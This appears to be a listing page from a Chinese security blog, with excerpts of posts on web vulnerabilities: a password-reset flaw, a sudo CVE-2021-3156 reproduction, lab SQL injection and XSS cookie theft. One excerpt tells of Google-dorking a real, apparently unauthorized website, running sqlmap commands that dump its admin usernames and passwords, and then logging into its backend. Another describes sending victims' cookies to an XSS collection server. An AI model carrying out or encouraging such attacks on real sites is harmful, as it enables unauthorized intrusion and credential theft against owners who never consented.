web漏洞

cesii 2025-2-7

意想不到的惊喜-某网站身份未授权漏洞

好久没登录的x网站忘记了用户名，想着找回下结果发现了意向不到的惊喜。正常逻辑下，当用户找回用户名时会将找回地址发送到对应的邮箱中，然后通过邮件中的找回地址重新设置，实际上发现邮箱并没有收到邮件，而是将找回信息直接暴露在网页上，可以直接通过上面的找回地址重置用户名的密码，按照此方式只要知道网站的已知用户邮箱就可以做到重置其他用户的密码了。漏洞已反馈至网站...

205 0

web漏洞

Sql注入漏洞实战记录

cesii 2024-9-3

Sql注入漏洞实战记录

以往在练习sql注入漏洞的时候都是通过搭建靶站的方式进行的，靶站的东西再怎么反复练习也就那么回事了，要是真想有个效果还得来点实际的！闲来无事上google再翻一翻，以前也翻过很多次，无奈技术菜没有找到什么适合我这种菜鸟水平的站来测试一波，真正的大佬都是个站就日的，不像我这种菜鸡，测试个网站还得东翻翻西找找…按照以往的方式还是用goole hacker的方式进行；因为以前找的站结构都是asp.net+win+iis架构的，对这个算是比较熟悉，所以这次用的语法还是这一套，输入hacker语法一顿向后翻页，前几页的不用想了，估计都被玩遍了找了个网站进入后查看产品获取到链接地址：http://www.xxxxx.cn/show.asp?id=14 加个‘符号看看回显信息，发现返回了错误，再试试and 1 = 1 和 1 = 2看下回显，确认是带有sql注入漏洞了因为水平菜，暂时还不能通过sql语句拼接的方式达到最终目的，所以只能用sqlmap工具一波流了… 获取数据库信息 sqlmap -u http://www.xxxx.cn/show.asp?id=14%20and%201%20=%201 --dbs 验证数据库为Microsoft Access 获取数据库表 sqlmap -u http://www.xxxxx.cn/show.asp?id=14%20and%201%20=%201 --batch -D Microsoft Access –tables 获取表属性 sqlmap -u http://www.xxxx.cn/show.asp?id=14%20and%201%20=%201 --batch -D Microsoft Access –T admin --columns 获取表数据 sqlmap -u http://www.xxxx.cn/show.asp?id=14%20and%201%20=%201 --batch -D Microsoft Access –T admin –C username,password –dump 获取系统后台登录地址后台通过gobuster工具获取后登录看下了以往的日志，发现该网站从N年前就一直被别人攻，但是好像网站管理人员并不对此上心（也有可能此网站已经被弃用了），导致现在还有不断的访问日志产生

424 0

sql注入 sqlmap

CVE-2021-3156漏洞权限提升复现及修复

cesii 2022-9-7

CVE-2021-3156漏洞权限提升复现及修复

以前从来没关注过服务器漏洞情况，近期事情不多想着修复下比较高危的安全漏洞，经过扫描发现有个CVE-2021-3156的权限提升漏洞，并且漏洞并且已经有了漏洞验证程序以前从来没复现过漏洞只想着怎么修复，这次就来学习下如何完整的复现漏洞漏洞判断执行sudoedit -s \ 后：出现sudoedit：”开头的错误，说明系统可能存在此安全风险。不受...

161 0

linux web漏洞 cwe漏洞

Web安全学习记录第一弹-无WAF的sql注入

cesii 2022-9-3

Web安全学习记录第一弹-无WAF的sql注入

环境准备靶站：http://rhiq8003.ia.aqlab.cn/ 测试工具：SqlMap 测试环境：kali2022 查看数据回显 id=1或id=1 and 1 = 1（语句成立）时返回正常数据 id=1或者或id=1 and 1 = 2（语句不成立）时返回数据异常，由此判定存在SQL注入漏洞尝试获取测试靶站信息 sqlmap -u http:/...

192 0

sql注入 web漏洞

利用XSS平台获取cookie实现免登录

cesii 2021-9-10

利用XSS平台获取cookie实现免登录

本次采用的XSS平台为清华大学开源出来的blue-lotus（蓝莲花） Js文件创建首先在xss平台中创建需要获取cookie信息的js文件，模板选择default.js 更改地址更改js文件中的地址为自己xss平台的ip地址（原理：通过访问js文件获取网站的cookie信息后输出到xss平台）生成payload 点击生成payload后，可以看到pa...

192 0

web漏洞 xss

意想不到的惊喜-某网站身份未授权漏洞

Sql注入漏洞实战记录

CVE-2021-3156漏洞权限提升复现及修复

Web安全学习记录第一弹-无WAF的sql注入

利用XSS平台获取cookie实现免登录

热门文章

标签

最新评论